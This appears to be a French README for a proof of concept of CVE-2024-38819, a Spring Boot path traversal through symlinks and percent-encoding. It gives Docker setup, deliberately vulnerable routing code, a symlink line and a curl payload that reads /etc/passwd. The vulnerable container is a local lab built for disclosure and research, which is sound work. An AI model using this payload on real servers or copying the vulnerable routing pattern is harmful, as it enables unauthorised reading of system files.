
Preuve de concept d'exploitation pour CVE-2024-38819, démontrant un contournement de chemin par des liens symboliques et un encodage en pourcentage dans le routage de fichiers statiques de Spring Boot.
Ceci est une preuve de concept pour la vulnérabilité CVE-2024-38819 que j'ai signalée, démontrant une exploitation de traversée de chemin.
Construire l'image Docker (Spring Boot 3.3.4, basé sur Spring Framework 6.1.13)
cd vuln
docker build -t cve-2024-38819-poc .
Exécuter le conteneur et exposer le port 8080 à la machine hôte
docker run -d -p 8080:8080 --name cve-2024-38819-poc cve-2024-38819-poc
Exécuter la commande suivante pour lancer le PoC et confirmer la vulnérabilité
curl http://localhost:8080/static/link/%2e%2e/etc/passwd
Si l'attaque réussit, le contenu du fichier /etc/passwd sera affiché.
Créer PathTraversalDemoApplication.java avec le code suivant pour configurer le routage des fichiers statiques en utilisant RouterFunction et FileSystemResource:
public RouterFunction<ServerResponse> staticResourceRouter() {
return RouterFunctions.resources("/static/**", new FileSystemResource("/app/static/"));
}
Ajouter la commande suivante au Dockerfile pour créer un lien symbolique:
RUN ln -s /static /app/static/link
Créer une charge utile qui utilise le codage en pourcentage pour traverser les répertoires via le lien symbolique.
/static/link/%2e%2e/etc/passwdUtiliser la commande curl suivante pour exécuter le PoC et vérifier si l'attaque réussit :
curl http://localhost:8080/static/link/%2e%2e/etc/passwd
Si l'attaque réussit, le contenu du fichier /etc/passwd sera affiché.
Ce PoC est fourni à des fins éducatives et de recherche en sécurité. Avant de l'utiliser dans un système réel, assurez-vous que la vulnérabilité a été corrigée et que vous disposez des autorisations appropriées. L'auteur décline toute responsabilité en cas d'utilisation abusive de ce code.